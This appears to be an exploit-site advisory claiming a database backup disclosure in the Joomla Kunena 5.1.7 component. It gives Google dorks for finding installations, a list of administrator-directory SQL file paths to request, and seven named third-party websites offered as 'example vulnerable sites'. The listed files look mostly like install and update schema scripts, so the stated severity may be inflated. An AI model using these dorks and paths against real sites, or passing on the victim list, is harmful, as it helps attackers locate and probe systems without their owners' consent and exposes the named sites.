Joomla Kunena component version 5.1.7 suffers from a database disclosure vulnerability.
58183f00adcbab4e7c05187aea446819#################################################################################################
# Exploit Title : Joomla Kunena Components 5.1.7 Database Backup Disclosure
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security
Army
# Date : 02/12/2018
# Vendor Homepage : extensions.joomla.org/extension/kunena/
# Software Download Link : kunena.org/download
# Tested On : Windows and Linux
# Category : WebApps
# Version : 5.1.7
# Exploit Risk : Medium
# Google Dorks :
inurl:''/administrator/components/com_kunena/install/sql/''
inurl:''/index.php?option=com_kunena''
inurl:''/index.php?option=com_kunena&view=topic&catid=''
# CxSecurity Exploit Link : cxsecurity.com/ascii/WLB-2018110196
# ExploitAlert Exploit Link : exploitalert.com/view-details.html?id=31527
# Vulnerability Type : CWE-264 - [ Permissions, Privileges, and Access
Controls ]
CWE-23 - [ Relative Path Traversal ] - CWE-200 [ Information Exposure ]
CWE-530 [ Exposure of Backup File to an Unauthorized Control Sphere ]
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# Admin Panel Login Path :
/administrator/
# Exploit :
/administrator/components/com_kunena/install/sql/migrate/mysql/kunena.sql
/administrator/components/com_kunena/install/sql/migrate/mysql/fireboard.sql
/administrator/components/com_kunena/install/sql/migrate/mysql/joomlaboard.sql
/administrator/components/com_kunena/install/sql/migrate/mysql/create_tables.utf8.sql
/administrator/components/com_kunena/install/sql/install/mysql/create_tables.utf8.sql
/administrator/components/com_kunena/install/sql/install/mysql/default_ranks.sql
/administrator/components/com_kunena/install/sql/install/mysql/default_smileys.sql
/administrator/components/com_kunena/install/sql/install/mysql/reserved_aliases.sql
/administrator/components/com_kunena/install/sql/updates/mysql/1.0.0-2007-04-15.sql
/administrator/components/com_kunena/install/sql/updates/mysql/2.0.0-2011-10-19.sql
/administrator/components/com_kunena/install/sql/updates/mysql/3.0.3-2013-10-01.sql
/administrator/components/com_kunena/install/sql/updates/mysql/4.0.0-2015-03-26.sql
/administrator/components/com_kunena/install/sql/updates/mysql/5.0.0-2015-12-02.sql
/administrator/components/com_kunena/install/sql/updates/mysql/5.1.6-2018-11-07.sql
/administrator/components/com_kunena/install/sql/updates/mysql/[VERSION-NUMBER]-[YEAR]-[MONTH]-[DAY].sql
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# Example Vulnerable Sites =>
[+]
xerte.org.uk/administrator/components/com_kunena/install/sql/migrate/mysql/kunena.sql
[+]
bargainbusinessbuyers.co.uk/administrator/components/com_kunena/install/sql/migrate/mysql/kunena.sql
[+]
bedrijfstaalcursussen.com/administrator/components/com_kunena/install/sql/migrate/mysql/kunena.sql
[+]
abdillikoyu.com/administrator/components/com_kunena/install/sql/migrate/mysql/kunena.sql
[+]
vir.nw.ru/test/vir.nw/administrator/components/com_kunena/install/sql/migrate/mysql/kunena.sql
[+]
werkenmetdbcs.nza.nl/administrator/components/com_kunena/install/sql/migrate/mysql/kunena.sql
[+]
djconstrucao.com.br/apagar/administrator/components/com_kunena/install/sql/migrate/mysql/kunena.sql
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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
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